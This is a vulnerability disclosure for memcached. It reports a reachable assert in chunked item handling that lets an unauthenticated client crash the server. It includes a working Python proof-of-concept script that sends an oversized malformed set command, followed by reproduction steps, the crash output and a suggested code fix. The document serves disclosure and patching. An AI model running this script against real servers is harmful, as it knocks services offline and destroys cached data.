Remote Denial-of-Service via assert(1 == 0) in Chunked Item Processing
Summary
The memcached server contains a reachable assert(1 == 0) statement in the chunked item validation path of the ASCII protocol handler. When a client sends a set command with a payload larger than slab_chunk_size_max (default 512KB) that does not terminate with \r\n, the server aborts with SIGABRT instead of returning a client error. This allows a remote, unauthenticated attacker to crash any default memcached instance with a single TCP connection.
Technical Details
Location:
- File: proto_text.c
- Function: complete_nread_ascii()
- Line: ~2733 (master branch)
Vulnerable Code:
} else {
assert(1 == 0); // Always crashes. Intentional?
}Root Cause: When processing chunked items (items with ntotal > slab_chunk_size_max), the server reads data in chunks and validates that each chunk ends with \r\n. If the final chunk validation fails, the code path hits assert(1 == 0) instead of graceful error handling. assert() is intended for debugging invariant conditions, not for handling malformed network input.
Trigger Conditions:
- Client sends set where nbytes is large enough that ntotal > slab_chunk_size_max (default 512KB)
- The payload does not end with \r\n
Steps To Reproduce
- Start memcached:
./memcached -p 11211 - Run the following PoC script:
#!/usr/bin/env python3
"""
PoC: memcached_chunked_assert_dos.py
Triggers SIGABRT via malformed chunked item.
"""
import socket
import sys
def exploit(host: str, port: int):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host, port))
key = b"A"
flags = b"0"
exptime = b"0"
nbytes = b"600000" # > 512KB to force ITEM_CHUNKED
cmd = b"set " + key + b" " + flags + b" " + exptime + b" " + nbytes + b"\r\n"
s.sendall(cmd)
# Send 599998 bytes of "A" followed by "XX" instead of "\r\n"
payload = b"A" * 599998 + b"XX"
s.sendall(payload)
print("[*] Payload sent. Server should crash with SIGABRT.")
try:
resp = s.recv(100)
print(f" Response: {resp}")
except:
print("[!] Connection closed — server likely crashed.")
s.close()
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <host> <port>")
sys.exit(1)
exploit(sys.argv[1], int(sys.argv[2]))- Run:
python3 poc.py 127.0.0.1 11211 - Observe server output:
Assertion failed: (1 == 0), function complete_nread_ascii, file proto_text.c, line 2733. - Server exits with code 134 (SIGABRT)
Recommended Fix
Replace the assert(1 == 0) with proper client error handling:
} else {
out_errstring(c, "CLIENT_ERROR bad chunked data format");
return;
}This follows the same pattern used elsewhere in the protocol handlers for malformed input.
Impact
- Remote, unauthenticated Denial-of-Service against any default memcached instance
- All in-memory cached data is lost upon crash
- Service requires manual restart
- No authentication or special configuration required
CVSS 3.1 Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Affected Component: proto_text.c — ASCII protocol text handler Affected Versions: memcached master branch (all versions with chunked item support)
Source: memcached/memcached